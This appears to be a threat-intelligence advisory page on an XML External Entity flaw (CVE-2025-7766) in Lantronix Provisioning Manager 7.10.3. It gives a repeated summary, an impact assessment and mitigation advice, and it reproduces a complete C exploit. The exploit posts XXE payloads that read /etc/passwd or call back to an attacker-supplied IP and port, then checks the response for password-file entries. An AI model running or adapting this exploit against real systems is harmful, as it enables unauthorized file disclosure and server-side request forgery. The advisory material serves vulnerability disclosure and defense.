Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
AI Analysis
Technical Summary
The Lantronix Provisioning Manager version 7.10.3 is vulnerable to an XML External Entity (XXE) injection attack. XXE is a type of attack against an application that parses XML input. This vulnerability arises when the XML parser improperly processes external entity references within XML documents. An attacker can exploit this by submitting crafted XML data containing malicious external entity definitions. Successful exploitation can lead to disclosure of confidential files on the system, server-side request forgery (SSRF), denial of service (DoS), or other impacts depending on the application context. In this case, the vulnerability affects Lantronix Provisioning Manager, a device management solution used to provision and manage networked devices. The presence of exploit code written in C indicates that the vulnerability can be reliably triggered, potentially allowing attackers to automate exploitation. Since the affected version is 7.10.3, organizations running this or earlier versions without patches are at risk. The lack of a CVSS score and patch links suggests this is a newly disclosed vulnerability with limited public mitigation information. The medium severity rating reflects the moderate impact and exploitation complexity typical of XXE vulnerabilities, which often require sending crafted XML payloads but may not need authentication depending on the service exposure.
Potential Impact
For European organizations using Lantronix Provisioning Manager 7.10.3, this XXE vulnerability poses a risk of unauthorized access to sensitive configuration files and internal resources. Confidentiality could be compromised if attackers retrieve sensitive data such as credentials or network configurations. Integrity and availability could also be affected if the exploit is used to cause denial of service or manipulate provisioning processes. Given that provisioning managers often have elevated privileges and network access, exploitation could facilitate lateral movement within enterprise networks. This risk is heightened in sectors with critical infrastructure or regulated data, such as telecommunications, manufacturing, and government agencies. The vulnerability could also be leveraged for espionage or sabotage in strategic industries. The absence of known exploits in the wild currently reduces immediate risk, but the availability of exploit code in C lowers the barrier for attackers to develop weaponized payloads. Organizations with internet-facing management interfaces or weak network segmentation are particularly vulnerable.
Mitigation Recommendations
European organizations should immediately identify all instances of Lantronix Provisioning Manager 7.10.3 in their environment. Since no official patch links are provided, organizations should contact Lantronix support for guidance and updates. In the interim, restrict access to the provisioning manager interfaces to trusted networks only, using network segmentation and firewall rules. Disable XML external entity processing if configurable within the application or underlying XML parser. Implement strict input validation and monitoring of XML inputs for suspicious entity declarations. Employ intrusion detection systems (IDS) to detect anomalous XML payloads indicative of XXE attempts. Regularly audit logs for unusual access patterns or error messages related to XML parsing. Additionally, consider deploying web application firewalls (WAFs) with rules targeting XXE attack signatures. Finally, establish incident response plans to quickly contain and remediate any exploitation attempts.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland
Indicators of Compromise
- exploit-code: /* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #include<unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define FULL_URL 3000 #define SIZE_PAYLOAD 4000 const char *yourIp = NULL; const char *url = NULL ; int yourPort = 0; int selecetCookie = 0; int verbose = 0; int loop = 0; int selectPayload = 0; const char *yourPayload = NULL; char full[FULL_URL]; int requestPayload = 0; const char *cookies = NULL; void exitSyscall() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void xmlPost(const char *fullUrl, const char *yourIp, int yourPort) { char payload[SIZE_PAYLOAD]; struct Mem response = { NULL, 0 }; if (selectPayload) { int s = snprintf(payload,sizeof(payload),yourPayload); if (s < 0 || s >= sizeof(payload)) { printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n"); exitSyscall(); } } if (requestPayload) { printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n"); printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n"); const char *payloadR = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort); if (r < 0 || r >= sizeof(payload)) { printf("\e[1;31m[-] Error building payloadR\n"); exitSyscall(); } } else { printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n"); const char *autoPayload = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; snprintf(payload, sizeof(payload), autoPayload); } CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exitSyscall(); } response.buffer = NULL; response.len = 0; if (verbose) { printf("\e[1;35m==========================================\e[0m\n"); printf("[+] Cleaning Response...\n"); printf("[+] Response Buffer : %s\n", response.buffer); printf("[+] Response Len : %zu\n", response.len); printf("\e[1;35m==========================================\e[0m\n"); } CURLcode res; if (curl) { curl_easy_setopt(curl, CURLOPT_URL, fullUrl); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(payload)); if (selecetCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); sleep(1); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Referer: http://example.com"); headers =curl_slist_append(headers, "Content-Type: application/xml"); double totalTime; res = curl_easy_perform(curl); if (res == CURLE_OK) { curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime); printf("\e[1;32m[+] Delayed response : %f\n", totalTime ); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Full URl : %s\e[0m\n", full); if (verbose) { printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n"); printf("[+] Post data : %s\n", payload); printf("\e[1;35m-----------------------------------------------------------------\e[0m\n"); } long httpCode= 0 ; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n"); printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort); printf("[+] Http Code (200 < 300) !\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;35m====================================[Response]====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\e[0m\n\n"); const char *keywords[] = { "root:x:0:0", ":/bin/bash", ":/home/", "daemon:x:", "nobody:x:", ":x:1000:", "/usr/sbin/nologin", "sys:x:", "bin:x:", "mail:x:" }; printf("\e[1;34m[+] Check keyword On Response...\e[0m\n"); int numberKeyword = sizeof(keywords) / sizeof(keywords[0]); int found = 0; for (int f = 0; f < numberKeyword; f++) { if (strstr(response.buffer,keywords[f]) != NULL) { printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]); found = 1; } else { found = 0; } } if (found) { printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n"); } else { printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n"); } } else { printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl); if (verbose) { printf("\e[1;35m====================================[Response]====================================\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\n\n"); } } curl_slist_free_all(headers); curl_easy_cleanup(curl); } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); if (verbose) { printf("\e[1;31m[-] Exit Syscall ...\e[0m\n"); } curl_slist_free_all(headers); curl_easy_cleanup(curl); exitSyscall(); } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf ( "\e[1;91m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖\n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▙▌▙▌\n" "\e[1;97m\t Byte Reaper\e[0m\n" ); printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Target Url (full url)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_STRING('i', "ip", &yourIp, "Enter Your IP (Send Requst, Localhost ip...)"), OPT_INTEGER('p', "port", &yourPort, "Enter Number Port (Http Request,Check Vuln...)"), OPT_INTEGER('l', "loop", &loop, "Number of times you send requests"), OPT_STRING('b', "payload", &yourPayload, "Enter Your Payload"), OPT_BOOLEAN('r', "request", &requestPayload, "Payload Send Request in Your Server "), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url || !yourIp || yourPort == 0) { printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u https://ip:port/path -i IP -p PORT\e[0m\n"); printf("\e[1;31m[-] Exit syscall...\e[0m\n"); exitSyscall(); } strncpy(full, url, FULL_URL - 1); full[FULL_URL - 1] = '\0'; in_addr_t value = inet_addr(yourIp); if (value == INADDR_NONE) { printf("\e[1;31m[-] Invalid Ip String !\e[0m\n"); exitSyscall(); } if (yourPort < 1 || yourPort > 65535) { printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n"); exitSyscall(); } if (strncmp(full, "http://", 7) != 0 && strncmp(full, "https://", 8) != 0) { printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n"); exitSyscall(); } if (verbose) { verbose = 1; } if (cookies) { selecetCookie = 1; } if (requestPayload) { requestPayload = 1; } if (loop) { printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n"); printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop); printf("------------------------------------------------------\n"); for (int o = 0; o < loop ; o++) { printf("[%d]: \n", o); xmlPost(full, yourIp,yourPort); printf("------------------------------------------------------\n"); } } if (yourPayload) { selectPayload = 1; } else { xmlPost(full, yourIp,yourPort); } return 0; }
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
Description
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
AI-Powered Analysis
Technical Analysis
The Lantronix Provisioning Manager version 7.10.3 is vulnerable to an XML External Entity (XXE) injection attack. XXE is a type of attack against an application that parses XML input. This vulnerability arises when the XML parser improperly processes external entity references within XML documents. An attacker can exploit this by submitting crafted XML data containing malicious external entity definitions. Successful exploitation can lead to disclosure of confidential files on the system, server-side request forgery (SSRF), denial of service (DoS), or other impacts depending on the application context. In this case, the vulnerability affects Lantronix Provisioning Manager, a device management solution used to provision and manage networked devices. The presence of exploit code written in C indicates that the vulnerability can be reliably triggered, potentially allowing attackers to automate exploitation. Since the affected version is 7.10.3, organizations running this or earlier versions without patches are at risk. The lack of a CVSS score and patch links suggests this is a newly disclosed vulnerability with limited public mitigation information. The medium severity rating reflects the moderate impact and exploitation complexity typical of XXE vulnerabilities, which often require sending crafted XML payloads but may not need authentication depending on the service exposure.
Potential Impact
For European organizations using Lantronix Provisioning Manager 7.10.3, this XXE vulnerability poses a risk of unauthorized access to sensitive configuration files and internal resources. Confidentiality could be compromised if attackers retrieve sensitive data such as credentials or network configurations. Integrity and availability could also be affected if the exploit is used to cause denial of service or manipulate provisioning processes. Given that provisioning managers often have elevated privileges and network access, exploitation could facilitate lateral movement within enterprise networks. This risk is heightened in sectors with critical infrastructure or regulated data, such as telecommunications, manufacturing, and government agencies. The vulnerability could also be leveraged for espionage or sabotage in strategic industries. The absence of known exploits in the wild currently reduces immediate risk, but the availability of exploit code in C lowers the barrier for attackers to develop weaponized payloads. Organizations with internet-facing management interfaces or weak network segmentation are particularly vulnerable.
Mitigation Recommendations
European organizations should immediately identify all instances of Lantronix Provisioning Manager 7.10.3 in their environment. Since no official patch links are provided, organizations should contact Lantronix support for guidance and updates. In the interim, restrict access to the provisioning manager interfaces to trusted networks only, using network segmentation and firewall rules. Disable XML external entity processing if configurable within the application or underlying XML parser. Implement strict input validation and monitoring of XML inputs for suspicious entity declarations. Employ intrusion detection systems (IDS) to detect anomalous XML payloads indicative of XXE attempts. Regularly audit logs for unusual access patterns or error messages related to XML parsing. Additionally, consider deploying web application firewalls (WAFs) with rules targeting XXE attack signatures. Finally, establish incident response plans to quickly contain and remediate any exploitation attempts.
Affected Countries
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Technical Details
- Edb Id
- 52417
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
/* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #inclu... (13217 more characters)
Threat ID: 68a3d92dad5a09ad00eed701
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 8/19/2025, 1:54:02 AM
Last updated: 8/20/2025, 2:22:47 AM
Views: 5
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